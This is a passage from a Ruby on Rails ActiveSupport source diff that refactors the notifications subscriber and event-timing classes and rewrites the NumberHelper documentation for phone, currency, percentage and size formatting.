+            @exclusions = Set.new
+          end
+
+          def unsubscribe!(name)
+            exclusions << -name if pattern === name
+          end
+
+          def ===(name)
+            pattern === name && !exclusions.include?(name)
+          end
+
+          class AllMessages
+            def ===(name)
+              true
+            end
+
+            def unsubscribe!(*)
+              false
+            end
           end
         end
 
-        class Evented #:nodoc:
+        class Evented # :nodoc:
+          attr_reader :pattern, :delegate, :silenceable
+
           def initialize(pattern, delegate)
-            @pattern = pattern
+            @pattern = Matcher.wrap(pattern)
             @delegate = delegate
+            @silenceable = delegate.respond_to?(:silenced?)
             @can_publish = delegate.respond_to?(:publish)
+            @can_publish_event = delegate.respond_to?(:publish_event)
           end
 
-          def publish(name, *args)
+          def group_class
+            EventedGroup
+          end
+
+          def publish(...)
             if @can_publish
-              @delegate.publish name, *args
+              @delegate.publish(...)
             end
           end
 
-          def start(name, id, payload)
-            @delegate.start name, id, payload
+          def publish_event(event)
+            if @can_publish_event
+              @delegate.publish_event event
+            else
+              publish(event.name, event.time, event.end, event.transaction_id, event.payload)
+            end
           end
 
-          def finish(name, id, payload)
-            @delegate.finish name, id, payload
+          def silenced?(name)
+            @silenceable && @delegate.silenced?(name)
           end
 
           def subscribed_to?(name)
-            @pattern === name
+            pattern === name
           end
 
-          def matches?(name)
-            @pattern && @pattern === name
+          def unsubscribe!(name)
+            pattern.unsubscribe!(name)
           end
         end
 
         class Timed < Evented # :nodoc:
-          def publish(name, *args)
-            @delegate.call name, *args
-          end
-
-          def start(name, id, payload)
-            timestack = Thread.current[:_timestack] ||= []
-            timestack.push Time.now
+          def group_class
+            TimedGroup
           end
 
-          def finish(name, id, payload)
-            timestack = Thread.current[:_timestack]
-            started = timestack.pop
-            @delegate.call(name, started, Time.now, id, payload)
+          def publish(...)
+            @delegate.call(...)
           end
         end
 
-        class AllMessages # :nodoc:
-          def initialize(delegate)
-            @delegate = delegate
-          end
-
-          def start(name, id, payload)
-            @delegate.start name, id, payload
-          end
-
-          def finish(name, id, payload)
-            @delegate.finish name, id, payload
+        class MonotonicTimed < Timed # :nodoc:
+          def group_class
+            MonotonicTimedGroup
           end
+        end
 
-          def publish(name, *args)
-            @delegate.publish name, *args
+        class EventObject < Evented
+          def group_class
+            EventObjectGroup
           end
 
-          def subscribed_to?(name)
-            true
+          def publish_event(event)
+            @delegate.call event
           end
-
-          alias :matches? :===
         end
       end
     end
diff --git a/activesupport/lib/active_support/notifications/instrumenter.rb b/activesupport/lib/active_support/notifications/instrumenter.rb
index e11e2e0689831..140685cb2fcf0 100644
--- a/activesupport/lib/active_support/notifications/instrumenter.rb
+++ b/activesupport/lib/active_support/notifications/instrumenter.rb
@@ -1,3 +1,6 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/delegation"
 require "securerandom"
 
 module ActiveSupport
@@ -7,27 +10,79 @@ class Instrumenter
       attr_reader :id
 
       def initialize(notifier)
+        unless notifier.respond_to?(:build_handle)
+          notifier = LegacyHandle::Wrapper.new(notifier)
+        end
+
         @id       = unique_id
         @notifier = notifier
       end
 
-      # Instrument the given block by measuring the time taken to execute it
-      # and publish it. Notice that events get sent even if an error occurs
-      # in the passed-in block.
+      class LegacyHandle # :nodoc:
+        class Wrapper # :nodoc:
+          def initialize(notifier)
+            @notifier = notifier
+          end
+
+          def build_handle(name, id, payload)
+            LegacyHandle.new(@notifier, name, id, payload)
+          end
+
+          delegate :start, :finish, to: :@notifier
+        end
+
+        def initialize(notifier, name, id, payload)
+          @notifier = notifier
+          @name = name
+          @id = id
+          @payload = payload
+        end
+
+        def start
+          @listener_state = @notifier.start @name, @id, @payload
+        end
+
+        def finish
+          @notifier.finish(@name, @id, @payload, @listener_state)
+        end
+      end
+
+      # Given a block, instrument it by measuring the time taken to execute
+      # and publish it. Without a block, simply send a message via the
+      # notifier. Notice that events get sent even if an error occurs in the
+      # passed-in block.
       def instrument(name, payload = {})
-        # some of the listeners might have state
-        listeners_state = start name, payload
+        handle = build_handle(name, payload)
+        handle.start
         begin
-          yield payload
+          yield payload if block_given?
         rescue Exception => e
           payload[:exception] = [e.class.name, e.message]
           payload[:exception_object] = e
           raise e
         ensure
-          finish_with_state listeners_state, name, payload
+          handle.finish
         end
       end
 
+      # Returns a "handle" for an event with the given +name+ and +payload+.
+      #
+      # #start and #finish must each be called exactly once on the returned object.
+      #
+      # Where possible, it's best to use #instrument, which will record the
+      # start and finish of the event and correctly handle any exceptions.
+      # +build_handle+ is a low-level API intended for cases where using
+      # +instrument+ isn't possible.
+      #
+      # See ActiveSupport::Notifications::Fanout::Handle.
+      def build_handle(name, payload)
+        @notifier.build_handle(name, @id, payload)
+      end
+
+      def new_event(name, payload = {}) # :nodoc:
+        Event.new(name, nil, nil, @id, payload)
+      end
+
       # Send a start notification with +name+ and +payload+.
       def start(name, payload)
         @notifier.start name, @id, payload
@@ -43,31 +98,96 @@ def finish_with_state(listeners_state, name, payload)
       end
 
       private
-
         def unique_id
           SecureRandom.hex(10)
         end
     end
 
     class Event
-      attr_reader :name, :time, :transaction_id, :payload, :children
-      attr_accessor :end
+      attr_reader :name, :transaction_id
+      attr_accessor :payload
 
       def initialize(name, start, ending, transaction_id, payload)
         @name           = name
         @payload        = payload.dup
-        @time           = start
+        @time           = start ? start.to_f * 1_000.0 : start
         @transaction_id = transaction_id
-        @end            = ending
-        @children       = []
-        @duration       = nil
+        @end            = ending ? ending.to_f * 1_000.0 : ending
+        @cpu_time_start = 0.0
+        @cpu_time_finish = 0.0
+        @allocation_count_start = 0
+        @allocation_count_finish = 0
+        @gc_time_start = 0
+        @gc_time_finish = 0
+      end
+
+      def time
+        @time / 1000.0 if @time
+      end
+
+      def end
+        @end / 1000.0 if @end
+      end
+
+      def record # :nodoc:
+        start!
+        begin
+          yield payload if block_given?
+        rescue Exception => e
+          payload[:exception] = [e.class.name, e.message]
+          payload[:exception_object] = e
+          raise e
+        ensure
+          finish!
+        end
+      end
+
+      # Record information at the time this event starts
+      def start!
+        @time = now
+        @cpu_time_start = now_cpu
+        @gc_time_start = now_gc
+        @allocation_count_start = now_allocations
+      end
+
+      # Record information at the time this event finishes
+      def finish!
+        @cpu_time_finish = now_cpu
+        @gc_time_finish = now_gc
+        @end = now
+        @allocation_count_finish = now_allocations
+      end
+
+      # Returns the CPU time (in milliseconds) passed between the call to
+      # #start! and the call to #finish!.
+      def cpu_time
+        @cpu_time_finish - @cpu_time_start
+      end
+
+      # Returns the idle time (in milliseconds) passed between the call to
+      # #start! and the call to #finish!.
+      def idle_time
+        diff = duration - cpu_time
+        diff > 0.0 ? diff : 0.0
+      end
+
+      # Returns the number of allocations made between the call to #start! and
+      # the call to #finish!.
+      def allocations
+        @allocation_count_finish - @allocation_count_start
+      end
+
+      # Returns the time spent in GC (in milliseconds) between the call to #start!
+      # and the call to #finish!
+      def gc_time
+        (@gc_time_finish - @gc_time_start) / 1_000_000.0
       end
 
       # Returns the difference in milliseconds between when the execution of the
       # event started and when it ended.
       #
-      #   ActiveSupport::Notifications.subscribe('wait') do |*args|
-      #     @event = ActiveSupport::Notifications::Event.new(*args)
+      #   ActiveSupport::Notifications.subscribe('wait') do |event|
+      #     @event = event
       #   end
       #
       #   ActiveSupport::Notifications.instrument('wait') do
@@ -76,16 +196,45 @@ def initialize(name, start, ending, transaction_id, payload)
       #
       #   @event.duration # => 1000.138
       def duration
-        @duration ||= 1000.0 * (self.end - time)
+        @end - @time
       end
 
-      def <<(event)
-        @children << event
-      end
+      private
+        def now
+          Process.clock_gettime(Process::CLOCK_MONOTONIC, :float_millisecond)
+        end
 
-      def parent_of?(event)
-        @children.include? event
-      end
+        begin
+          Process.clock_gettime(Process::CLOCK_THREAD_CPUTIME_ID, :float_millisecond)
+
+          def now_cpu
+            Process.clock_gettime(Process::CLOCK_THREAD_CPUTIME_ID, :float_millisecond)
+          end
+        rescue
+          def now_cpu
+            0.0
+          end
+        end
+
+        if GC.respond_to?(:total_time)
+          def now_gc
+            GC.total_time
+          end
+        else
+          def now_gc
+            0
+          end
+        end
+
+        if GC.stat.key?(:total_allocated_objects)
+          def now_allocations
+            GC.stat(:total_allocated_objects)
+          end
+        else # Likely on JRuby, TruffleRuby
+          def now_allocations
+            0
+          end
+        end
     end
   end
 end
diff --git a/activesupport/lib/active_support/number_helper.rb b/activesupport/lib/active_support/number_helper.rb
index 880340ca86d6b..0c51306b33219 100644
--- a/activesupport/lib/active_support/number_helper.rb
+++ b/activesupport/lib/active_support/number_helper.rb
@@ -1,9 +1,34 @@
+# frozen_string_literal: true
+
 module ActiveSupport
+  # = Number Helper
+  #
+  # Provides methods for formatting numbers into currencies, percentages,
+  # phone numbers, and more.
+  #
+  # Example usage in a class:
+  #   class Topic
+  #     include ActiveSupport::NumberHelper
+  #
+  #     def price
+  #       number_to_currency(@price)
+  #     end
+  #   end
+  #
+  # Example usage in a module:
+  #   require "active_support/number_helper"
+  #
+  #   module NumberFormatting
+  #     def format_price(price)
+  #       ActiveSupport::NumberHelper.number_to_currency(price)
+  #     end
+  #   end
   module NumberHelper
     extend ActiveSupport::Autoload
 
     eager_autoload do
       autoload :NumberConverter
+      autoload :RoundingHelper
       autoload :NumberToRoundedConverter
       autoload :NumberToDelimitedConverter
       autoload :NumberToHumanConverter
@@ -15,352 +40,438 @@ module NumberHelper
 
     extend self
 
-    # Formats a +number+ into a phone number (US by default e.g., (555)
-    # 123-9876). You can customize the format in the +options+ hash.
+    # Formats +number+ into a phone number.
     #
-    # ==== Options
+    #   number_to_phone(5551234)    # => "555-1234"
+    #   number_to_phone("5551234")  # => "555-1234"
+    #   number_to_phone(1235551234) # => "123-555-1234"
+    #   number_to_phone("12x34")    # => "12x34"
     #
-    # * <tt>:area_code</tt> - Adds parentheses around the area code.
-    # * <tt>:delimiter</tt> - Specifies the delimiter to use
-    #   (defaults to "-").
-    # * <tt>:extension</tt> - Specifies an extension to add to the
-    #   end of the generated number.
-    # * <tt>:country_code</tt> - Sets the country code for the phone
-    #   number.
-    # * <tt>:pattern</tt> - Specifies how the number is divided into three
-    #   groups with the custom regexp to override the default format.
-    # ==== Examples
-    #
-    #   number_to_phone(5551234)                                     # => "555-1234"
-    #   number_to_phone('5551234')                                   # => "555-1234"
-    #   number_to_phone(1235551234)                                  # => "123-555-1234"
-    #   number_to_phone(1235551234, area_code: true)                 # => "(123) 555-1234"
-    #   number_to_phone(1235551234, delimiter: ' ')                  # => "123 555 1234"
-    #   number_to_phone(1235551234, area_code: true, extension: 555) # => "(123) 555-1234 x 555"
-    #   number_to_phone(1235551234, country_code: 1)                 # => "+1-123-555-1234"
-    #   number_to_phone('123a456')                                   # => "123a456"
-    #
-    #   number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: '.')
+    #   number_to_phone(1235551234, delimiter: ".", country_code: 1, extension: 1343)
     #   # => "+1.123.555.1234 x 1343"
     #
-    #   number_to_phone(75561234567, pattern: /(\d{1,4})(\d{4})(\d{4})$/, area_code: true)
-    #   # => "(755) 6123-4567"
-    #   number_to_phone(13312345678, pattern: /(\d{3})(\d{4})(\d{4})$/)
-    #   # => "133-1234-5678"
+    # ==== Options
+    #
+    # [+:area_code+]
+    #   Whether to use parentheses for the area code. Defaults to false.
+    #
+    #     number_to_phone(1235551234, area_code: true)
+    #     # => "(123) 555-1234"
+    #
+    # [+:delimiter+]
+    #   The digit group delimiter to use. Defaults to <tt>"-"</tt>.
+    #
+    #     number_to_phone(1235551234, delimiter: " ")
+    #     # => "123 555 1234"
+    #
+    # [+:country_code+]
+    #   A country code to prepend.
+    #
+    #     number_to_phone(1235551234, country_code: 1)
+    #     # => "+1-123-555-1234"
+    #
+    # [+:extension+]
+    #   An extension to append.
+    #
+    #     number_to_phone(1235551234, extension: 555)
+    #     # => "123-555-1234 x 555"
+    #
+    # [+:pattern+]
+    #   A regexp that specifies how the digits should be grouped. The first
+    #   three captures from the regexp are treated as digit groups.
+    #
+    #     number_to_phone(13312345678, pattern: /(\d{3})(\d{4})(\d{4})$/)
+    #     # => "133-1234-5678"
+    #     number_to_phone(75561234567, pattern: /(\d{1,4})(\d{4})(\d{4})$/, area_code: true)
+    #     # => "(755) 6123-4567"
+    #
     def number_to_phone(number, options = {})
       NumberToPhoneConverter.convert(number, options)
     end
 
-    # Formats a +number+ into a currency string (e.g., $13.65). You
-    # can customize the format in the +options+ hash.
+    # Formats a +number+ into a currency string.
+    #
+    #   number_to_currency(1234567890.50)  # => "$1,234,567,890.50"
+    #   number_to_currency(1234567890.506) # => "$1,234,567,890.51"
+    #   number_to_currency("12x34")        # => "$12x34"
+    #
+    #   number_to_currency(1234567890.50, unit: "&pound;", separator: ",", delimiter: "")
+    #   # => "&pound;1234567890,50"
     #
     # The currency unit and number formatting of the current locale will be used
-    # unless otherwise specified in the provided options. No currency conversion
-    # is performed. If the user is given a way to change their locale, they will
+    # unless otherwise specified via options. No currency conversion is
+    # performed. If the user is given a way to change their locale, they will
     # also be able to change the relative value of the currency displayed with
     # this helper. If your application will ever support multiple locales, you
-    # may want to specify a constant <tt>:locale</tt> option or consider
-    # using a library capable of currency conversion.
+    # may want to specify a constant +:locale+ option or consider using a
+    # library capable of currency conversion.
     #
     # ==== Options
     #
-    # * <tt>:locale</tt> - Sets the locale to be used for formatting
-    #   (defaults to current locale).
-    # * <tt>:precision</tt> - Sets the level of precision (defaults
-    #   to 2).
-    # * <tt>:unit</tt> - Sets the denomination of the currency
-    #   (defaults to "$").
-    # * <tt>:separator</tt> - Sets the separator between the units
-    #   (defaults to ".").
-    # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
-    #   to ",").
-    # * <tt>:format</tt> - Sets the format for non-negative numbers
-    #   (defaults to "%u%n").  Fields are <tt>%u</tt> for the
-    #   currency, and <tt>%n</tt> for the number.
-    # * <tt>:negative_format</tt> - Sets the format for negative
-    #   numbers (defaults to prepending a hyphen to the formatted
-    #   number given by <tt>:format</tt>).  Accepts the same fields
-    #   than <tt>:format</tt>, except <tt>%n</tt> is here the
-    #   absolute value of the number.
-    #
-    # ==== Examples
-    #
-    #   number_to_currency(1234567890.50)                # => "$1,234,567,890.50"
-    #   number_to_currency(1234567890.506)               # => "$1,234,567,890.51"
-    #   number_to_currency(1234567890.506, precision: 3) # => "$1,234,567,890.506"
-    #   number_to_currency(1234567890.506, locale: :fr)  # => "1 234 567 890,51 €"
-    #   number_to_currency('123a456')                    # => "$123a456"
-    #
-    #   number_to_currency(-1234567890.50, negative_format: '(%u%n)')
-    #   # => "($1,234,567,890.50)"
-    #   number_to_currency(1234567890.50, unit: '&pound;', separator: ',', delimiter: '')
-    #   # => "&pound;1234567890,50"
-    #   number_to_currency(1234567890.50, unit: '&pound;', separator: ',', delimiter: '', format: '%n %u')
-    #   # => "1234567890,50 &pound;"
+    # [+:locale+]
+    #   The locale to use for formatting. Defaults to the current locale.
+    #
+    #     number_to_currency(1234567890.506, locale: :fr)
+    #     # => "1 234 567 890,51 €"
+    #
+    # [+:precision+]
+    #   The level of precision. Defaults to 2.
+    #
+    #     number_to_currency(1234567890.123, precision: 3) # => "$1,234,567,890.123"
+    #     number_to_currency(0.456789, precision: 0)       # => "$0"
+    #
+    # [+:round_mode+]
+    #   Specifies how rounding is performed. See +BigDecimal.mode+. Defaults to
+    #   +:default+.
+    #
+    #     number_to_currency(1234567890.01, precision: 0, round_mode: :up)
+    #     # => "$1,234,567,891"
+    #
+    # [+:unit+]
+    #   The denomination of the currency. Defaults to <tt>"$"</tt>.
+    #
+    # [+:separator+]
+    #   The decimal separator. Defaults to <tt>"."</tt>.
+    #
+    # [+:delimiter+]
+    #   The thousands delimiter. Defaults to <tt>","</tt>.
+    #
+    # [+:format+]
+    #   The format for non-negative numbers. <tt>%u</tt> represents the currency,
+    #   and <tt>%n</tt> represents the number. Defaults to <tt>"%u%n"</tt>.
+    #
+    #     number_to_currency(1234567890.50, format: "%n %u")
+    #     # => "1,234,567,890.50 $"
+    #
+    # [+:negative_format+]
+    #   The format for negative numbers. <tt>%u</tt> and <tt>%n</tt> behave the
+    #   same as in +:format+, but <tt>%n</tt> represents the absolute value of
+    #   the number. Defaults to the value of +:format+ prepended with <tt>-</tt>.
+    #
+    #     number_to_currency(-1234567890.50, negative_format: "(%u%n)")
+    #     # => "($1,234,567,890.50)"
+    #
+    # [+:strip_insignificant_zeros+]
+    #   Whether to remove insignificant zeros after the decimal separator.
+    #   Defaults to false.
+    #
+    #     number_to_currency(1234567890.50, strip_insignificant_zeros: true)
+    #     # => "$1,234,567,890.5"
+    #
     def number_to_currency(number, options = {})
       NumberToCurrencyConverter.convert(number, options)
     end
 
-    # Formats a +number+ as a percentage string (e.g., 65%). You can
-    # customize the format in the +options+ hash.
+    # Formats +number+ as a percentage string.
+    #
+    #   number_to_percentage(100)   # => "100.000%"
+    #   number_to_percentage("99")  # => "99.000%"
+    #   number_to_percentage("99x") # => "99x%"
+    #
+    #   number_to_percentage(12345.6789, delimiter: ".", separator: ",", precision: 2)
+    #   # => "12.345,68%"
     #
     # ==== Options
     #
-    # * <tt>:locale</tt> - Sets the locale to be used for formatting
-    #   (defaults to current locale).
-    # * <tt>:precision</tt> - Sets the precision of the number
-    #   (defaults to 3). Keeps the number's precision if +nil+.
-    # * <tt>:significant</tt> - If +true+, precision will be the number
-    #   of significant_digits. If +false+, the number of fractional
-    #   digits (defaults to +false+).
-    # * <tt>:separator</tt> - Sets the separator between the
-    #   fractional and integer digits (defaults to ".").
-    # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
-    #   to "").
-    # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
-    #   insignificant zeros after the decimal separator (defaults to
-    #   +false+).
-    # * <tt>:format</tt> - Specifies the format of the percentage
-    #   string The number field is <tt>%n</tt> (defaults to "%n%").
-    #
-    # ==== Examples
-    #
-    #   number_to_percentage(100)                                  # => "100.000%"
-    #   number_to_percentage('98')                                 # => "98.000%"
-    #   number_to_percentage(100, precision: 0)                    # => "100%"
-    #   number_to_percentage(1000, delimiter: '.', separator: ',') # => "1.000,000%"
-    #   number_to_percentage(302.24398923423, precision: 5)        # => "302.24399%"
-    #   number_to_percentage(1000, locale: :fr)                    # => "1000,000%"
-    #   number_to_percentage(1000, precision: nil)                 # => "1000%"
-    #   number_to_percentage('98a')                                # => "98a%"
-    #   number_to_percentage(100, format: '%n  %')                 # => "100.000  %"
+    # [+:locale+]
+    #   The locale to use for formatting. Defaults to the current locale.
+    #
+    #     number_to_percentage(1000, locale: :fr)
+    #     # => "1000,000%"
+    #
+    # [+:precision+]
+    #   The level of precision, or +nil+ to preserve +number+'s precision.
+    #   Defaults to 2.
+    #
+    #     number_to_percentage(12.3456789, precision: 4) # => "12.3457%"
+    #     number_to_percentage(99.999, precision: 0)     # => "100%"
+    #     number_to_percentage(99.999, precision: nil)   # => "99.999%"
+    #
+    # [+:round_mode+]
+    #   Specifies how rounding is performed. See +BigDecimal.mode+. Defaults to
+    #   +:default+.
+    #
+    #     number_to_percentage(12.3456789, precision: 4, round_mode: :down)
+    #     # => "12.3456%"
+    #
+    # [+:significant+]
+    #   Whether +:precision+ should be applied to significant digits instead of
+    #   fractional digits. Defaults to false.
+    #
+    #     number_to_percentage(12345.6789)                                  # => "12345.679%"
+    #     number_to_percentage(12345.6789, significant: true)               # => "12300%"
+    #     number_to_percentage(12345.6789, precision: 2)                    # => "12345.68%"
+    #     number_to_percentage(12345.6789, precision: 2, significant: true) # => "12000%"
+    #
+    # [+:separator+]
+    #   The decimal separator. Defaults to <tt>"."</tt>.
+    #
+    # [+:delimiter+]
+    #   The thousands delimiter. Defaults to <tt>","</tt>.
+    #
+    # [+:strip_insignificant_zeros+]
+    #   Whether to remove insignificant zeros after the decimal separator.
+    #   Defaults to false.
+    #
+    # [+:format+]
+    #   The format of the output. <tt>%n</tt> represents the number. Defaults to
+    #   <tt>"%n%"</tt>.
+    #
+    #     number_to_percentage(100, format: "%n  %")
+    #     # => "100.000  %"
+    #
     def number_to_percentage(number, options = {})
       NumberToPercentageConverter.convert(number, options)
     end
 
-    # Formats a +number+ with grouped thousands using +delimiter+
-    # (e.g., 12,324). You can customize the format in the +options+
-    # hash.
+    # Formats +number+ by grouping thousands with a delimiter.
+    #
+    #   number_to_delimited(12345678)      # => "12,345,678"
+    #   number_to_delimited("123456")      # => "123,456"
+    #   number_to_delimited(12345678.9876) # => "12,345,678.9876"
+    #   number_to_delimited("12x34")       # => "12x34"
+    #
+    #   number_to_delimited(12345678.9876, delimiter: ".", separator: ",")
+    #   # => "12.345.678,9876"
     #
     # ==== Options
     #
-    # * <tt>:locale</tt> - Sets the locale to be used for formatting
-    #   (defaults to current locale).
-    # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
-    #   to ",").
-    # * <tt>:separator</tt> - Sets the separator between the
-    #   fractional and integer digits (defaults to ".").
-    # * <tt>:delimiter_pattern</tt> - Sets a custom regular expression used for
-    #   deriving the placement of delimiter. Helpful when using currency formats
-    #   like INR.
-    #
-    # ==== Examples
-    #
-    #   number_to_delimited(12345678)                    # => "12,345,678"
-    #   number_to_delimited('123456')                    # => "123,456"
-    #   number_to_delimited(12345678.05)                 # => "12,345,678.05"
-    #   number_to_delimited(12345678, delimiter: '.')    # => "12.345.678"
-    #   number_to_delimited(12345678, delimiter: ',')    # => "12,345,678"
-    #   number_to_delimited(12345678.05, separator: ' ') # => "12,345,678 05"
-    #   number_to_delimited(12345678.05, locale: :fr)    # => "12 345 678,05"
-    #   number_to_delimited('112a')                      # => "112a"
-    #   number_to_delimited(98765432.98, delimiter: ' ', separator: ',')
-    #                                                    # => "98 765 432,98"
-    #   number_to_delimited("123456.78",
-    #     delimiter_pattern: /(\d+?)(?=(\d\d)+(\d)(?!\d))/)
-    #                                                    # => "1,23,456.78"
+    # [+:locale+]
+    #   The locale to use for formatting. Defaults to the current locale.
+    #
+    #     number_to_delimited(12345678.05, locale: :fr)
+    #     # => "12 345 678,05"
+    #
+    # [+:delimiter+]
+    #   The thousands delimiter. Defaults to <tt>","</tt>.
+    #
+    #     number_to_delimited(12345678, delimiter: ".")
+    #     # => "12.345.678"
+    #
+    # [+:separator+]
+    #   The decimal separator. Defaults to <tt>"."</tt>.
+    #
+    #     number_to_delimited(12345678.05, separator: " ")
+    #     # => "12,345,678 05"
+    #
+    # [+:delimiter_pattern+]
+    #   A regexp to determine the placement of delimiters. Helpful when using
+    #   currency formats like INR.
+    #
+    #     number_to_delimited("123456.78", delimiter_pattern: /(\d+?)(?=(\d\d)+(\d)(?!\d))/)
+    #     # => "1,23,456.78"
+    #
     def number_to_delimited(number, options = {})
       NumberToDelimitedConverter.convert(number, options)
     end
 
-    # Formats a +number+ with the specified level of
-    # <tt>:precision</tt> (e.g., 112.32 has a precision of 2 if
-    # +:significant+ is +false+, and 5 if +:significant+ is +true+).
-    # You can customize the format in the +options+ hash.
+    # Formats +number+ to a specific level of precision.
+    #
+    #   number_to_rounded(12345.6789)                # => "12345.679"
+    #   number_to_rounded(12345.6789, precision: 2)  # => "12345.68"
+    #   number_to_rounded(12345.6789, precision: 0)  # => "12345"
+    #   number_to_rounded(12345, precision: 5)       # => "12345.00000"
     #
     # ==== Options
     #
-    # * <tt>:locale</tt> - Sets the locale to be used for formatting
-    #   (defaults to current locale).
-    # * <tt>:precision</tt> - Sets the precision of the number
-    #   (defaults to 3). Keeps the number's precision if +nil+.
-    # * <tt>:significant</tt> - If +true+, precision will be the number
-    #   of significant_digits. If +false+, the number of fractional
-    #   digits (defaults to +false+).
-    # * <tt>:separator</tt> - Sets the separator between the
-    #   fractional and integer digits (defaults to ".").
-    # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
-    #   to "").
-    # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
-    #   insignificant zeros after the decimal separator (defaults to
-    #   +false+).
-    #
-    # ==== Examples
-    #
-    #   number_to_rounded(111.2345)                                  # => "111.235"
-    #   number_to_rounded(111.2345, precision: 2)                    # => "111.23"
-    #   number_to_rounded(13, precision: 5)                          # => "13.00000"
-    #   number_to_rounded(389.32314, precision: 0)                   # => "389"
-    #   number_to_rounded(111.2345, significant: true)               # => "111"
-    #   number_to_rounded(111.2345, precision: 1, significant: true) # => "100"
-    #   number_to_rounded(13, precision: 5, significant: true)       # => "13.000"
-    #   number_to_rounded(13, precision: nil)                        # => "13"
-    #   number_to_rounded(111.234, locale: :fr)                      # => "111,234"
-    #
-    #   number_to_rounded(13, precision: 5, significant: true, strip_insignificant_zeros: true)
-    #   # => "13"
-    #
-    #   number_to_rounded(389.32314, precision: 4, significant: true) # => "389.3"
-    #   number_to_rounded(1111.2345, precision: 2, separator: ',', delimiter: '.')
-    #   # => "1.111,23"
+    # [+:locale+]
+    #   The locale to use for formatting. Defaults to the current locale.
+    #
+    #     number_to_rounded(111.234, locale: :fr)
+    #     # => "111,234"
+    #
+    # [+:precision+]
+    #   The level of precision, or +nil+ to preserve +number+'s precision.
+    #   Defaults to 3.
+    #
+    #     number_to_rounded(12345.6789, precision: nil)
+    #     # => "12345.6789"
+    #
+    # [+:round_mode+]
+    #   Specifies how rounding is performed. See +BigDecimal.mode+. Defaults to
+    #   +:default+.
+    #
+    #     number_to_rounded(12.34, precision: 0, round_mode: :up)
+    #     # => "13"
+    #
+    # [+:significant+]
+    #   Whether +:precision+ should be applied to significant digits instead of
+    #   fractional digits. Defaults to false.
+    #
+    #     number_to_rounded(12345.6789)                                  # => "12345.679"
+    #     number_to_rounded(12345.6789, significant: true)               # => "12300"
+    #     number_to_rounded(12345.6789, precision: 2)                    # => "12345.68"
+    #     number_to_rounded(12345.6789, precision: 2, significant: true) # => "12000"
+    #
+    # [+:separator+]
+    #   The decimal separator. Defaults to <tt>"."</tt>.
+    #
+    # [+:delimiter+]
+    #   The thousands delimiter. Defaults to <tt>","</tt>.
+    #
+    # [+:strip_insignificant_zeros+]
+    #   Whether to remove insignificant zeros after the decimal separator.
+    #   Defaults to false.
+    #
+    #     number_to_rounded(12.34, strip_insignificant_zeros: false)  # => "12.340"
+    #     number_to_rounded(12.34, strip_insignificant_zeros: true)   # => "12.34"
+    #     number_to_rounded(12.3456, strip_insignificant_zeros: true) # => "12.346"
+    #
     def number_to_rounded(number, options = {})
       NumberToRoundedConverter.convert(number, options)
     end
 
-    # Formats the bytes in +number+ into a more understandable
-    # representation (e.g., giving it 1500 yields 1.5 KB). This
-    # method is useful for reporting file sizes to users. You can
-    # customize the format in the +options+ hash.
+    # Formats +number+ as bytes into a more human-friendly representation.
+    # Useful for reporting file sizes to users.
+    #
+    #   number_to_human_size(123)                 # => "123 Bytes"
+    #   number_to_human_size(1234)                # => "1.21 KB"
+    #   number_to_human_size(12345)               # => "12.1 KB"
+    #   number_to_human_size(1234567)             # => "1.18 MB"
+    #   number_to_human_size(1234567890)          # => "1.15 GB"
+    #   number_to_human_size(1234567890123)       # => "1.12 TB"
+    #   number_to_human_size(1234567890123456)    # => "1.1 PB"
+    #   number_to_human_size(1234567890123456789) # => "1.07 EB"
     #
-    # See <tt>number_to_human</tt> if you want to pretty-print a
-    # generic number.
+    # See #number_to_human if you want to pretty-print a generic number.
     #
     # ==== Options
     #
-    # * <tt>:locale</tt> - Sets the locale to be used for formatting
-    #   (defaults to current locale).
-    # * <tt>:precision</tt> - Sets the precision of the number
-    #   (defaults to 3).
-    # * <tt>:significant</tt> - If +true+, precision will be the number
-    #   of significant_digits. If +false+, the number of fractional
-    #   digits (defaults to +true+)
-    # * <tt>:separator</tt> - Sets the separator between the
-    #   fractional and integer digits (defaults to ".").
-    # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
-    #   to "").
-    # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
-    #   insignificant zeros after the decimal separator (defaults to
-    #   +true+)
-    #
-    # ==== Examples
-    #
-    #   number_to_human_size(123)                                    # => "123 Bytes"
-    #   number_to_human_size(1234)                                   # => "1.21 KB"
-    #   number_to_human_size(12345)                                  # => "12.1 KB"
-    #   number_to_human_size(1234567)                                # => "1.18 MB"
-    #   number_to_human_size(1234567890)                             # => "1.15 GB"
-    #   number_to_human_size(1234567890123)                          # => "1.12 TB"
-    #   number_to_human_size(1234567890123456)                       # => "1.1 PB"
-    #   number_to_human_size(1234567890123456789)                    # => "1.07 EB"
-    #   number_to_human_size(1234567, precision: 2)                  # => "1.2 MB"
-    #   number_to_human_size(483989, precision: 2)                   # => "470 KB"
-    #   number_to_human_size(1234567, precision: 2, separator: ',')  # => "1,2 MB"
-    #   number_to_human_size(1234567890123, precision: 5)            # => "1.1228 TB"
-    #   number_to_human_size(524288000, precision: 5)                # => "500 MB"
+    # [+:locale+]
+    #   The locale to use for formatting. Defaults to the current locale.
+    #
+    # [+:precision+]
+    #   The level of precision. Defaults to 3.
+    #
+    #     number_to_human_size(123456, precision: 2)  # => "120 KB"
+    #     number_to_human_size(1234567, precision: 2) # => "1.2 MB"
+    #
+    # [+:round_mode+]
+    #   Specifies how rounding is performed. See +BigDecimal.mode+. Defaults to
+    #   +:default+.
+    #
+    #     number_to_human_size(123456, precision: 2, round_mode: :up)
+    #     # => "130 KB"
+    #
+    # [+:significant+]
+    #   Whether +:precision+ should be applied to significant digits instead of
+    #   fractional digits. Defaults to true.
+    #
+    # [+:separator+]
+    #   The decimal separator. Defaults to <tt>"."</tt>.
+    #
+    #     number_to_human_size(1234567, separator: ",")
+    #     # => "1,18 MB"
+    #
+    # [+:delimiter+]
+    #   The thousands delimiter. Defaults to <tt>","</tt>.
+    #
+    # [+:strip_insignificant_zeros+]
+    #   Whether to remove insignificant zeros after the decimal separator.
+    #   Defaults to true.
+    #
     def number_to_human_size(number, options = {})
       NumberToHumanSizeConverter.convert(number, options)
     end
 
-    # Pretty prints (formats and approximates) a number in a way it
